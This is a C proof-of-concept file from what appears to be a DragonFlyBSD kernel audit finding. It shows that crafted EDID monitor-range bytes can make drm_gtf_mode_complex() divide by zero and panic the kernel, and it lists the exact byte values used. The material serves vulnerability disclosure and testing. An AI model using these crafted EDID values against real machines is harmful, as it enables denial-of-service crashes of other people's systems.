⬢ DragonFlyBSD Kernel Audit
DF-3682 / gtf_div0.c
← back to finding ↓ download raw
/*
 * Deterministic proof-of-concept for the EDID GTF2 divide-by-zero.
 * Extracts the *exact* arithmetic of drm_gtf_mode_complex()
 * (sys/dev/drm/drm_modes.c:366-529) and drm_mode_std()'s LEVEL_GTF2 call
 * (sys/dev/drm/drm_edid.c:2177-2194), fed purely by crafted-EDID bytes.
 *
 * Division by zero occurs at drm_modes.c:484-485:
 *   hblank = total_active_pixels * ideal_duty_cycle / (100000 - ideal_duty_cycle);
 * when ideal_duty_cycle == 100000.
 *
 * Crafted EDID bytes (base block only, no extension needed):
 *   - monitor-range descriptor (DTD at 0x36): r[3]=0xFD (EDID_DETAIL_MONITOR_RANGE),
 *     r[10]=0x02 (secondary GTF flag)  -> makes standard_timing_level() = LEVEL_GTF2
 *     r[12]=0x01 -> drm_gtf2_hbreak() = 2
 *     r[13]=200  -> GTF_2C = 200
 *     r[14]=0, r[15]=0 -> GTF_M = 0
 *     r[16]=128  -> GTF_K = 128
 *     r[17]=200  -> GTF_2J = 200
 *   - standard timing entry {209, 0x00} -> 1920x1200@60 (any timing with
 *     hsync > 2 kHz works).
 */
#include <stdio.h>
#include <stdlib.h>
static void u8_dummy(int x){(void)x;}

/* verbatim macros from sys/dev/drm/drm_modes.c:370-383 */
#define	GTF_MARGIN_PERCENTAGE		18
#define	GTF_CELL_GRAN			8
#define	GTF_MIN_V_PORCH			1
#define V_SYNC_RQD			3
#define H_SYNC_PERCENT			8
#define MIN_VSYNC_PLUS_BP		550
#define GTF_C_PRIME	((((GTF_2C - GTF_2J) * GTF_K / 256) + GTF_2J) / 2)
#define GTF_M_PRIME	(GTF_K * GTF_M / 256)

static void drm_gtf_mode_complex_harness(int hdisplay, int vdisplay, int vrefresh,
					 int GTF_M, int GTF_2C, int GTF_K, int GTF_2J)
{
	unsigned int hdisplay_rnd, vdisplay_rnd, vfieldrate_rqd;
	unsigned int hfreq_est;
	unsigned int vtotal_lines, vfieldrate_est, hperiod;
	unsigned int vfield_rate, vframe_rate;
	unsigned int total_active_pixels, ideal_duty_cycle;
	unsigned int hblank, total_pixels, pixel_freq;
	unsigned int tmp1, tmp2;

	printf("GTF params from EDID range descriptor: M=%d 2C=%d K=%d 2J=%d\n",
	       GTF_M, GTF_2C, GTF_K, GTF_2J);
	printf("computed C'=%d M'=%d\n", GTF_C_PRIME, GTF_M_PRIME);

	/* steps identical to drm_modes.c:407-459 (margins=0, interlace=0) */
	hdisplay_rnd = (hdisplay + GTF_CELL_GRAN / 2) / GTF_CELL_GRAN;
	hdisplay_rnd = hdisplay_rnd * GTF_CELL_GRAN;
	vdisplay_rnd = vdisplay;
	vfieldrate_rqd = vrefresh;

	tmp1 = (1000000 - MIN_VSYNC_PLUS_BP * vfieldrate_rqd) / 500;
	tmp2 = (vdisplay_rnd + 2 * 0 + GTF_MIN_V_PORCH) * 2 + 0;
	hfreq_est = (tmp2 * 1000 * vfieldrate_rqd) / tmp1;
	printf("hfreq_est = %u kHz\n", hfreq_est);

	vtotal_lines = vdisplay_rnd + 0 + 0 + 4 + GTF_MIN_V_PORCH; /* approx */
	vfieldrate_est = hfreq_est / vtotal_lines;
	hperiod = 1000000 / (vfieldrate_rqd * vtotal_lines);
	(void)vfieldrate_est; (void)hperiod;
	vfield_rate = hfreq_est / vtotal_lines;
	vframe_rate = vfield_rate;
	(void)vframe_rate;

	total_active_pixels = hdisplay_rnd;

	/* drm_modes.c:480-481 */
	ideal_duty_cycle = GTF_C_PRIME * 1000 -
				(GTF_M_PRIME * 1000000 / hfreq_est);
	printf("ideal_duty_cycle = %u\n", ideal_duty_cycle);
	if (ideal_duty_cycle == 100000) {
		printf(">>> DIVISOR (100000 - ideal_duty_cycle) == 0\n");
		printf(">>> in the kernel: hblank = total_active_pixels * idc / 0\n");
		printf(">>> => x86 #DE divide error in drm_gtf_mode_complex (drm_modes.c:484)\n");
		printf(">>> => kernel panic\n");
		fflush(stdout);
	}

	/* drm_modes.c:484-485 -- exact statement; traps here with SIGFPE */
	hblank = total_active_pixels * ideal_duty_cycle /
			(100000 - ideal_duty_cycle);
	hblank = (hblank + GTF_CELL_GRAN) / (2 * GTF_CELL_GRAN);
	total_pixels = total_active_pixels + hblank;
	pixel_freq = total_pixels * hfreq_est / 1000;
	(void)pixel_freq;
	printf("no trap (hblank=%u)\n", hblank);
}

/* simulate EDID bytes so nothing is compile-time constant */
static volatile unsigned char edid_range_desc[18] = {
	0,0,0,0xFD,   /* r[3] = EDID_DETAIL_MONITOR_RANGE */
	0x00,0x00,0x00,0x00,0x00,0x00,
	0x02,         /* r[10] = secondary GTF flag      */
	0x00,
	0x01,         /* r[12] -> hbreak = 2             */
	200,          /* r[13] -> GTF_2C                 */
	0x00, 0x00,   /* r[14],r[15] -> GTF_M = 0        */
	128,          /* r[16] -> GTF_K                  */
	200,          /* r[17] -> GTF_2J                 */
};

int main(int argc, char **argv)
{
	int hsize_byte = 209;             /* std timing byte 1 */
	int vfreq_aspect = 0x00;          /* std timing byte 2 */
	int hsize = hsize_byte * 8 + 248; /* 1920 */
	int vsize = hsize * 10 / 16;      /* rev>=3, aspect 00 */
	int vrefresh = (vfreq_aspect & 0x3f) + 60; /* 60 */
	u8_dummy(argc);
	drm_gtf_mode_complex_harness(hsize, vsize, vrefresh,
				     (edid_range_desc[15] << 8) | edid_range_desc[14],
				     edid_range_desc[13],
				     edid_range_desc[16],
				     edid_range_desc[17]);
	return 0;
}